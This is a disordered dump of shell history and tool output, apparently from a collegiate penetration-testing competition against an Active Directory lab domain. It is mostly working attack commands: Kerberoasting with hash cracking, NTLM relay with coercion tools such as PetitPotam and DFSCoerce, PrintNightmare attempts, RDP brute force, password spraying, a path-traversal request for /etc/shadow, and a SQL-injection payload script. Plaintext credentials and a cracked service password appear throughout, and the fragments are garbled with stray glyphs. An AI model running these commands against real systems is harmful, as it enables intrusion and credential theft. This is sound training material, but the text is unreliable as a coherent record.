Nmap done: 1 IP address (1 host up) scanned in 1397.47 seconds\
nxc smb host-ip -u '' -p ''
nxc smb 10.0.1.6 -u '' -p ''
enum4linux -a 10.0.1.6 2>131
nmap --script=ldap -rootds -p389 10.0.1.6
nmap --script=ldapsearch -rootds -p389 10.0.1.6
nmap --script -rootds -p389 10.0.1.6
nmap --script -p389 10.0.1.6
nmap --script -p 389 10.0.1.6
nmap --script 10.0.1.6
sudo nano /etc/hosts
dig
dig axfr @allports.local allports.local
dig allports.local TXT
sudo nano /etc/hosts
dig axfr @allports.local allports.local
dig allports.local TXT
dig @10.0.1.6 _ldap._tcp
dig @10.0.1.6 _ldap._tcp .dc._msdcs, $all.ports.local
dig @10.0.1.6 _ldap._tcp .dc._msdcs $all.ports.local
dig @10.0.1.6 _ldap._tcp.dc._msdcs $all.ports.local
dig @10.0.1.6 _ldap._tcp.dc._msdcs $allports.local
dig @10.0.1.6 _ldap._tcp.dc._msdcs $allports
sudo apt install adidnsdump
sudo nmap --script=ldap -p 389 10.0.1.6
sudo nmap --script=ldapsearch -p 389 10.0.1.6
nmap -p 389 -sV 10.0.1.6
sudo nmap --script -ldapsearch -p 389 10.0.1.6
sudo nmap --script -ldap-search -p 389 10.0.1.6
sudo nmap --script ldap-search -p 389 10.0.1.6
evil-winrm -i 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 --signing
nxc smb 10.0.1.6 --shares
netexec smb 10.0.1.6 --shares
sudo apt install impacket
git clone https://github.com/fortra/impacket
impacket
impacket-lookupsid anonymous@10.0.1.6
nmap -sC 10.0.1.6
dig axfr @10.0.1.6 allports.local
dnsenum --dnsserver 10.0.1.6 allports.local
dnsrecon -d allports.local -n 10.0.1.6 -t std
ls
enum4linux -a 10.0.1.6
enum4linux -S 10.0.1.6
sudo apt install crackmapexec
crackmapexec smb 10.0.1.6 -u '' -p '' --users
smbclient -N -L //10.0.1.6
ldapsearch -x -h 10.0.1.6 -s base
ldapsearch -x 10.0.1.6 -s base
rpcclient -U "" -N 10.0.1.6
nbtscan 10.0.1.6
nmblookup -A 10.0.1.6
impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile usernames.txt -format hashcat -outputfile asrep.hash
impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -no-pass -userfile /usr/share/seclists/Usernames/Names/names.txt
impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt
kerbrute userenum -d allports.local --dc 10.0.1.6 usernames.txt
sudo apt install kerbrute
git clone https://github.com/ropnop/kerbrute
kerbrute userenum -d allports.local --dc 10.0.1.6 usernames.txt
ls
cd kerbrute
kerbrute userenum -d allports.local --dc 10.0.1.6 usernames.txt
ls
ls ..
cd ..
clear
smbclient -U 'guest%' -L //10.0.1.6
crackmapexec smb 10.0.1.6 -u 'guest' -p '' --shares
impacket-ntlmrelayx -6 -t ldaps://10.0.1.6 -wh fakewpad.allports.local -l
impacket-ntlmrelayx -6 -t ldaps://10.0.1.6 -wh fakewpad.allports.local -l loot/
crackmapexec smb 10.0.1.0/24 --gen-relay-list relay_targets.txt
crackmapexec smb 10.0.1.6 --gen-relay-list relay_targets.txt
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks
nmap -sC 10.0.1.6
dig axfr @10.0.1.6 allports.local
kerbrute userenum -d allports.local --dc 10.0.1.6 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
sudo apt install kerbrute
cd ..
ls
cd impacket
ls
ldpasearch -x -h 10.0.1.6 -s base -b "" "(objectclass=*)" "*" +
sudo apt install ldapsearch
ldapsearch -x -h 10.0.1.6 -s base -b "" "(objectclass=*)" "*" +
ldapsearch -x10.0.1.6 -s base -b "" "(objectclass=*)" "*" +
ldapsearch -x 10.0.1.6 -s base -b "" "(objectclass=*)" "*" +
nmap -p445 --script smb2-security-mode 10.0.1.6
nbtscan 10.0.1.6
nmblookup -A 10.0.1.6
smbmap -H 10.0.1.6 -u '' -p ''
crackmapexec smb 10.0.1.6 --shares
crackmapexec smb 10.0.1.6 --shares -u '' -p ''
nmap -p 80,443,8080 --script http-title 10.0.1.6
curl -k https://10.0.1.6/certsrv
curl -k https://10.0.1.6/certsrv/
curl -k http://10.0.1.6/certsrv/
impacket-rpcdump 10.0.1.6 | tee rpc_endpoints.txt
grep -i "backup\|print\|schedule\|task" rpc_endpoints.txt
ntpq -c readvar 10.0.1.6
rpcdump.py
sudo apt install rpcdump.py
impacket
impacket-rpcdump 10.0.1.6 | grep -A 5 "MS-RPRN"
git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675
python3 CVE-2021-1675.py allports.local/guest@10.0.1.6
msfconsole
clear
git clone https://github.com/leechristensen/SpoolSample
SpoolSample.exe 10.0.1.6 10.0.254.202
git clone https://github.com/leechristensen/SpoolSample
ls
cd SpoolSample
ip a
SpoolSample 10.0.1.6 10.0.254.202
cd ..
SpoolSample 10.0.1.6 10.0.254.202
SpoolSample.exe 10.0.1.6 10.0.254.202
rpcclient -U "" -N 10.0.1.6 -c "enumprinters"
git clone https://github.com/RUB-NDS/PRET.git
cd PRET
python pret.py 10.0.1.6 ps
impacket-atexec -nooutput allports.local/guest:""@10.0.1.6 "whoami"
impacket-atexec allports.local/guest:""@10.0.1.6 "whoami"
schtasks /query /S 10.0.1.6 /V /F0 LIST
sudo apt install schtasks
python3 CVE-2022-38028.py 10.0.1.6
git clone https://github.com/dirkjanm/krbrelayx
cd krbrelayx
python3 printerbug.py -d allports.local 10.0.1.6 10.0.254.202
python3 printerbug.py allports.local/''@10.0.1.6 10.0.254.202
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam
python3 PetitPotam.py 10.0.254.202 10.0.1.6
python3 PetitPotam.py -u '' -p '' 10.0.254.202 10.0.1.6
pip3 install coercer
sudo apt install python3-coercer
git clone https://github.com/Wh04m1001/DFSCoerce.git
cd DFSCoerce
python3 dfscoerce.py -u '' -p '' 10.0.254.202 10.0.1.6
git clone https://github.com/ShutdownRepo/ShadowCoerce.git
cd ShadowCoerce
python3 shadowcoerce.py -d allports.local -u '' -p '' --target 10.0.1.6 --listener 10.0.254.202
python3 shadowcoerce.py -d allports.local -u '' -p '' 10.0.1.6 10.0.254.202
rpcclient -U "" -N 10.0.1.6 <<EOF\
srvinfo\
enumdomains\
quit\
EOF
impacket-ntlmrelayx -t ldap://10.0.1.6 -smb2support --no-http-server --no-wcf-server
mkdir /tmp/webdav
wsgidav --host=0.0.0.0 --port=80 --root=/tmp/webdav --auth=anonymous
crackmapexec smb 10.0.1.6 --gen-relay-list relay_targets.txt
ls
cat relay_targets.txt
sudo tcpdump -i eth0 host 10.0.1.6
nc -lvnp 445
python3 -c "from impacket import system_errors; from impacket.dcerpc.v5 import transport, epm; stringbinding = r'ncacn_np:10.0.1.6[\PIPE\spoolss]'; rpctransport = transport.DCERPCTransportFactory(stringbinding); rpctransport.connect(); print('Connected to Print Spooler')"
rpcclient 10.0.1.67
rpcclient 10.0.1.6
rdesktop 10.0.1.6
rpcclient -U "allports.local/USERNAME%PASSWORD" 10.0.1.6 -c "enumdomusers"
rpcclient -U "allports.local/pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumdomusers"
rpcclient -U "allports.local/USERNAME%PASSWORD" 10.0.1.6 -c "getdompwinfo"
rpcclient -U "allports.local/pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "getdompwinfo"
impacket-GetUserSPNs allports.local/pentester:)u1h55hm-h(M(7nV -dc-ip 10.0.1.6 -request-user svc_stabilize
impacket-GetUserSPNs allports.local/pentester:")u1h55hm-h(M(7nV" -dc-ip 10.0.1.6 -request-user svc_stabilize
sudo apt install flameshot
nano svchash.txt
hashcat -m 13100 svc_stabilize.hash /usr/share/wordlists/rockyou.txt
hashcat -m 13100 svchash.txt /usr/share/wordlists/rockyou.txt
john --format=krb5tgs svchash.txt --wordlist=/usr/share/wordlists/rockyou.txt
locate rockyou.txt
john --format=krb5tgs svchash.txt --wordlist=/usr/share/wordlists/rockyou.txt.gz
hashcat -m 13100 svchash.txt /usr/share/wordlists/rockyou.txt.gz
rpcclient -U "pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumprivs"
smbclient -L //10.0.1.6 -U "pentester%)u1h55hm-h(M(7nV"
impacket-GetUserSPNs allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6
#SVC_STABILIZE password was cracked its 1gyroscope
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName | grep sAMAccountName
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(adminCount=1)" sAMAccountName
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
smbclient //10.0.1.6/SYSVOL -U "pentester%)u1h55hm-h(M(7nV"
smbclient //10.0.1.6/NETLOGON -U "pentester%)u1h55hm-h(M(7nV"
grep -r -i "password\|cpassword\|pwd" SYSVOL/ NETLOGON/
ls
impacket-GetNPUsers allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6 -request -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt.gz
crackmapexec smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --users > domain_users.txt
crackmapexec smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --groups
crackmapexec smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --groups | grep -i "pentester"
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" sAMAccountName
smbmap -H 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -R NETLOGON --depth 10
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ hashcat -m 13100 svchash.txt /usr/share/wordlists/rockyou.txt.gz
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-AMD EPYC-Rome Processor, 2948/5896 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashfile 'svchash.txt' on line 2 (      ): Salt-length exception
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory allocated for this attack: 513 MB (1550 MB free)
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt.gz
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s
Session..........: hashcat
Status...........: Running
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*SVC_STABILIZE$ALLPORTS.LOCAL$allports....2075bc


_raw: : 1767989986:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local SecLists/Usernames/top-usernames-shortlist.txt


_raw:
: 1767989984:0;curl -X 'GET' \\
  'http://gps.allports.tours:8080/api/download_csv.php?file=/etc/shadow' \\
  -H 'accept: text/csv'


_raw: : 1767989927:0;sudo apt install -y ffmpeg


_raw: : 1767989916:0;nxc smb 10.0.1.6 -u users.txt -p updatepass.txt | grep +


_raw: : 1767989907:0;nxc smb 10.0.1.6 -u users.txt -p updatepass.txt


_raw: : 1767989817:0;chmod +x injection_test.sh


_raw:
: 1767989808:0;cat << 'EOF' > injection_test.sh\
#!/bin/bash\
\
payloads=(\
    "admin' OR '1'='1"\
    "admin'--"\
    "admin' #"\
    "admin'/*"\
    "' OR 1=1--"\
    "admin' OR 'x'='x"\
    "') OR ('1'='1"\
    "admin'||'1'='1"\
    "admin' UNION SELECT NULL--"\
)\
\
for payload in "${payloads[@]}"; do\
    echo "Testing: $payload"\
    echo -e "LOGIN $payload password\nEXIT\n" | nc 10.0.1.10 9000\
    echo "---"\
done\
EOF


_raw: : 1767989766:0;git clone https://github.com/danielmiessler/SecLists.git


_raw: : 1767989761:0;cloud-init clean --machine-id -l -s


_raw: : 1767989761:0;apt install qemu-guest-agent


_raw: : 1767989761:0;apt install python3-pip python3-venv curl htop


_raw: : 1767989761:0;apt install openssh-server


_raw: : 1767989761:0;sudo apt install dphys-swapfile


_raw: : 1767989761:0;apt install systemd-zram-generator zram-tools


_raw: : 1767989736:0;cp ~/Downloads/jsmith.txt .


_raw: : 1767989650:0;./kerbrute userenum --help


_raw: : 1767989647:0;awk -F'.' '{print tolower(substr($1,1,1) $2)}' john.smith.txt | sort -u


_raw: : 1767989626:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local administrator


_raw: : 1767989600:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local


_raw:
ls
cat password.txt
git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git
ls
cd University-of-California-Irvine
ls
cd scripts
ls
chmod +x install.sh
chmod +x .
ls
chmod +x *
ls
sudo ./install.sh
ls
cat users.txt
nmap -p- 10.0.1.6


_raw:
git clone https://github.com/fortra/impacket.git
ls
cd impacket
ls
python3 -m venv venv
source venv/bin/activate
pip3 install .
cd ..
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -domain allports.local -delegation
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope
nxc smb -L
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -L zerologon
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M zerologon
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M timeroast
nxc smb 10.0.1.6 -u users.txt -p passwords.txt -k
nxc smb 10.0.1.6 -u users.txt -p passwords.txt
nxc smb 10.0.1.6 -u users.txt -p passwords.txt -k | grep +
cat /usr/share/wordlists/rockyou.txt| grep 1gyroscope
nxc smb 10.0.1.20 -u guest
nxc smb 10.0.1.20 -u guest -p''
nxc smb 10.0.1.20 -u guest -p ''
nxc smb 10.0.1.20 -u guest1 -p ''
nxc smb 10.0.1.20 -u guest -p pass
nxc smb 10.0.1.20 -u guest -p ''
nxc smb 10.0.1.20 -u guest -p '' --use-localauth
nxc smb 10.0.1.20 -u guest -p '' --uselocalauth
nxc smb 10.0.1.20 -u guest -p '' --local-auth
nxc smb 10.0.1.20 -u users.txt -p passwords.txt --local-auth
nxc smb 10.0.1.20 -u users.txt -p passwords.txt --local-auth | grep +
nxc smb 10.0.1.21 -u users.txt -p passwords.txt --local-auth | grep +
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -LK
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -L
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam
ls
cat user
cat users.t
cat users.txt
ls
cd ..
cat users.txt
cat users.txt | grep -v -e BB -e CS -e DD -e FV -e PP
cat users.txt | grep -v -e BB -e CS -e DD -e FV -e PP | wc -l
ls
cd PetitPotam
ls
python3 PetitPotam.py
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.204 10.0.1.6
nxc smb 10.0.1.0/24
nxc smb 10.0.1.0/24 --gen-relay-list relay.list
ls
cat relay.list
ntlmrelayx.py
cd ..
ntlmrelayx.py -tf targets.txt -smb2support -socks -wh attacker-relay
ntlmrelayx.py -t ldap://10.0.1.6 -smb2support --delegate-access
ntlmrelayx.py -t ldaps://10.0.1.6 -smb2support --delegate-access
ntlmrelayx.py -t ldap://10.0.1.6 -smb2support --delegate-access
GetUserSPNs.py allports.local/svc_stabilize:1gyroscope -dc-ip 10.0.1.6 -request
GetNPUsers.py allports.local/svc_stabilize:1gyroscope -dc-ip 10.0.1.6 -request
findDelegation.py allports.local/svc_stabilize:1gyroscope -dc-ip 10.0.1.6
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M laps
dnstool.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -r '*' --action query 10.0.1.6
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -L
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M gpp_autologin
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M gpp_password
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -L
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M ms17-010
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M nopac
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M printnightmare
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M remove-mic
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M smb_ghost
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M smbghost
ntlmrelayx.py -tf targets.txt -smb2support -socks -wh attacker-relay


_raw:
ls
cat passwords.txt
rm passwords.txtls.save
ls
python3 autoWin.py 10.0.1.6 -domain allports.local -findusers -user_list users.txt
ls
nxc smb 10.0.1.6 --shares
nxc smb 10.0.1.6 -u users.txt -p passwords.txt --no-bruteforce
nxc smb 10.0.1.6 -u users.txt -p passwords.txt
rm users.txt
nxc smb 10.0.1.20 -u guest -p '' -k
nxc smb 10.0.1.21 -u guest -p '' -k
nxc smb 10.0.1.21 -u guest -p '' -k --shares
nxc smb 10.0.1.20 -u guest -p '' -k --shares
nxc smb 10.0.1.20 -u users.txt -p passwords.txt
python3 autoWin.py 10.0.1.0/24 -u svc_stabilize -p 1gyroscope -k
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -k
python3 autoWin.py 10.0.1.6 smb -scan -u svc_stabilize -p 1gyroscope -k
python3 autoWin.py 10.0.1.6 -enum -u svc_stabilize -p 1gyroscope -k
enum4linux 10.0.1.6 -h
enum4linux -h
python3 autoWin.py 10.0.1.6 -rpc
python3 autoWin.py 10.0.1.20 -rpc
python3 autoWin.py 10.0.1.21 -rpc
nano autoWin.py
python3 autoWin.py 10.0.1.0/24 -u svc_stabilize -p 1gyroscope -k --shares
python3 autoWin.py 10.0.1.0/24 --share -u svc_stabilize -p 1gyroscope -k
python3 autoWin.py 10.0.1.0/24 --shares -u svc_stabilize -p 1gyroscope -k
python3 autoWin.py 10.0.1.6 --shares
python3 autoWin.py 10.0.1.0/24 -u svc_stabilize -p 1gyroscope -k -shares
python3 autoWin.py 10.0.1.0/24 -u svc_stabilize -p 1gyroscope -k -get-users
ls
cat users.txt
cat passwords.txt
nxc smb 10.0.1.6 -u users.txt -p passwords.txt | grep +
nxc smb 10.0.1.6 -u users.txt -p passwords.txt
nxc smb 10.0.1.6 -u users.txt -p passwords.txt | grep +
nxc smb 10.0.1.6 -u users.txt -p passwords.txt | grep *
./bloodhound-cli install
sudo su -
sudo su


_raw:
python3 autowin 10.0.1.0/24 -u guest -p ''
python3 autoWin.py 10.0.1.0/24 -u guest -p ''
python3 autoWin.py 10.0.1.0/24
python3 autoWin.py 10.0.1.0/24 -u guest -p '' -k
python3 autoWin.py 10.0.1.0/24 -u guest -k
python3 autoWin.py 10.0.1.6 -u guest -p ''
nxc smb 10.0.1.6 -u guest -p ''
nxc smb 10.0.1.20 -u guest -p ''
nxc smb 10.0.1.21 -u guest -p ''
nxc smb 10.0.1.21 -u guest -p '' -rpc
hashcat -a 0 -m 31300 hash.txt /usr/share/wordlists/rockyou.txt
cat hash.txt
rm hash.txt
nano hash.txt
hashcat -a 0 -m 31300 hash.txt /usr/share/wordlists/rockyou.txt
cat hash.txt
nano hash.txt
hashcat -a 0 -m 31300 hash.txt /usr/share/wordlists/rockyou.txt
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -d allports.local -k -target dc
nxc smb 10.0.1.6
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -domain allports.local -target APT-DC-01.allports.local -adcs
certipy-ad find -u svc_stabilize -p 1gyroscope -dc-ip 10.0.1.6\
certipy-ad find -u svc_stabilize -p 1gyroscope -dc-ip 10.0.1.6
certipy-ad find -u svc_stabilize -p 1gyroscope -dc-ip 10.0.1.6 -k
impacket-getTGT -h
impacket-getTGT -dc-ip 10.0.1.6 'apt-dc-01\svc_stabilize:1gyroscope'
impacket-getTGT -dc-ip 10.0.1.6 'allports.local\svc_stabilize:1gyroscope'
impacket-getTGT allports.local/svc_stabilize:1gyroscope -dc-ip 10.0.1.6
export KRB5CCNAME=svc_stabilize.ccache
certipy-ad find -u svc_stabilize -dc-ip 10.0.1.6 -k
certipy-ad find -u svc_stabilize -dc-ip 10.0.1.6 -target apt-dc-01.allports.local -k
nxc smb 10.0.1.6 -k
nxc smb 10.0.1.6 -u admin -p admin
nxc smb 10.0.1.6 -u admin -p admi
nxc smb 10.0.1.6 -u admin1 -p admi
nxc smb 10.0.1.6 -u adm2in1 -p admi
nxc smb 10.0.1.6 -u admin -p admin -k
nxc smb 10.0.1.6 -u admin1 -p admin -k
nxc smb 10.0.1.6 -u svc_stabilize -p admin -k
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -k
nxc smb 10.0.1.6 -u emoore1 -p ''
nxc smb 10.0.1.6 -u emoore1 -p '' -k
nxc smb 10.0.1.6 -u emoore1 -p passwords.txt -k
nxc smb 10.0.1.6 -u users.txt -p password1.txt -k | grep +
nxc smb 10.0.1.6 -u users.txt -p password1.txt -k
nxc smb 10.0.1.6 -u users.txt -p password1.txt -k | grep +
nxc smb 10.0.1.6 -u users.txt -p password1.txt | grep +
ifconfig
nano dchash.txt
git clone https://github.com/evilmog/ntlmv1-multi.git
ls
cd ntlmv1-multi
ls
python3 ntlmv1.py -ntlmv1 "APT-DC-01$::APT:755C2CCFE21A39E100000000000000000000000000000000:CF0551146AA4C19471E8823213E257A2D74CA011C0077CE5:a14912a6b9ffe719"
python3 -m venv venv
ls
venv/bin/activate
ls
source venv/bin/activate
ls
pip install pycryptodome
python3 ntlmv1.py -ntlmv1 "APT-DC-01$::APT:755C2CCFE21A39E100000000000000000000000000000000:CF0551146AA4C19471E8823213E257A2D74CA011C0077CE5:a14912a6b9ffe719"
python3 ntlmv1.py --ntlmv1 "APT-DC-01$::APT:755C2CCFE21A39E100000000000000000000000000000000:CF0551146AA4C19471E8823213E257A2D74CA011C0077CE5:a14912a6b9ffe719"
echo "CF0551146AA4C194:4e449990cf558fc4">>14000.hash\
echo "71E8823213E257A2:4e449990cf558fc4">>14000.hash
hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1
cat 14000.hash
nano 14000.hash
hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1
./ct3_to_ntlm.bin D74CA011C0077CE5 a14912a6b9ffe719 755C2CCFE21A39E100000000000000000000000000000000
ls
cd ..
ls
nxc smb 10.0.1.0/24
nano targets.txt
ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local'
ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local' "(&(objectCategory=person)(objectClass=user))"
ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguishedName"\
"\
'
cat newpass.txt
nano newpass.txt


_raw: : 1767989569:0;awk -F'.' '{original=$0; converted=tolower(substr($1,1,1) $2); print original " -> " converted}' john.smith.txt | sort -u


_raw: : 1767989528:0;mv kerbrute_linux_amd64 kerbrute


_raw: : 1767989522:0;chmod +x kerbrute_linux_amd64


_raw: : 1767989390:0;ncrack -vv --user administrator -P /usr/share/wordlists/rockyou.txt rdp://10.0.1.6


_raw: : 1767989361:0;sudo apt install xfreerdp


_raw: : 1767989337:0;crowbar -b rdp -s 10.0.1.6/32 -u administrator -C /usr/share/wordlists/rockyou.txt


_raw: : 1767989305:0;crowbar -b rdp -s 10.0.1.6/32 -u administrator -C /usr/share/wordlists/rockyou.txt


_raw: : 1767989285:0;kerbrute userenum --dc 10.0.1.6 -d allports.local


_raw:
git clone https://github.com/danny-avila/LibreChat.git
vim .env
sudo docker-compose up
cd LibreChat
sudo docker-compose up


_raw: : 1767989237:0;git clone https://github.com/ropnop/kerbrute.git


_raw: : 1767989232:0;git clone -q https://github.com/xonoxitron/regreSSHion-checker


_raw:
evil-winrm -i 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope'
smbclient //10.0.1.6/C$ -U "SVC_STABILIZE%1gyroscope"
smbclient //10.0.1.6/NETLOGON$ -U "SVC_STABILIZE%1gyroscope"
impacket-ntlmrelayx -t ldaps://10.0.1.6 --escalate-user SVC_STABILIZE -smb2support
netexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --lsa
netexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --llspooler
netexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --spooler
netexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --dcom
netexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --sam
sudo nmap -p- -Pn -sC -sV -O -oX 10.0.1.20.xml 10.0.1.20
nmap -sn 10.0.1.20
rdesktop 10.0.1.20
alid after:  2036-01-05T22:35:05\
| tls-alpn: \
|_  http/1.1\
|_ssl-date: TLS randomness does not represent time\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
9389/tcp  open  mc-nmf        .NET Message Framing\
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
49297/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\
49298/tcp open  msrpc         Microsoft Windows RPC\
49303/tcp open  msrpc         Microsoft Windows RPC\
49310/tcp open  msrpc         Microsoft Windows RPC\
49315/tcp open  msrpc         Microsoft Windows RPC\
49664/tcp open  msrpc         Microsoft Windows RPC\
49665/tcp open  msrpc         Microsoft Windows RPC\
49666/tcp open  msrpc         Microsoft Windows RPC\
49667/tcp open  msrpc         Microsoft Windows RPC\
49668/tcp open  msrpc         Microsoft Windows RPC\
49670/tcp open  msrpc         Microsoft Windows RPC\
49673/tcp open  msrpc         Microsoft Windows RPC\
57657/tcp open  msrpc         Microsoft Windows RPC\
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).\
TCP/IP fingerprint:\
OS:SCAN(V=7.95%E=4%D=1/9%OT=53%CT=1%CU=39933%PV=Y%DS=2%DC=I%G=Y%TM=69611C9B\
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=105%TI=I%CI=I%TS=A)SEQ(SP=10\
OS:4%GCD=1%ISR=10C%TI=I%CI=I%TS=A)SEQ(SP=105%GCD=2%ISR=10A%TI=I%CI=I%TS=A)S\
OS:EQ(SP=106%GCD=1%ISR=10B%CI=I%TS=A)SEQ(SP=106%GCD=1%ISR=10D%TI=I%CI=I%TS=\
OS:A)OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11%O5=M5\
OS:B4NW8ST11%O6=M5B4ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFD\
OS:C)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S\
OS:+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=\
OS:)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%\
OS:A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIP\
OS:CK=G%RUCK=G%RUD=G)IE(R=N)\
\
Network Distance: 2 hops\
Service Info: Host: APT-DC-01; OS: Windows; CPE: cpe:/o:microsoft:windows\
\
Host script results:\
| smb2-security-mode: \
|   3:1:1: \
|_    Message signing enabled and required\
| smb2-time: \


_raw:
Stopped: Fri Jan  9 15:06:49 2026
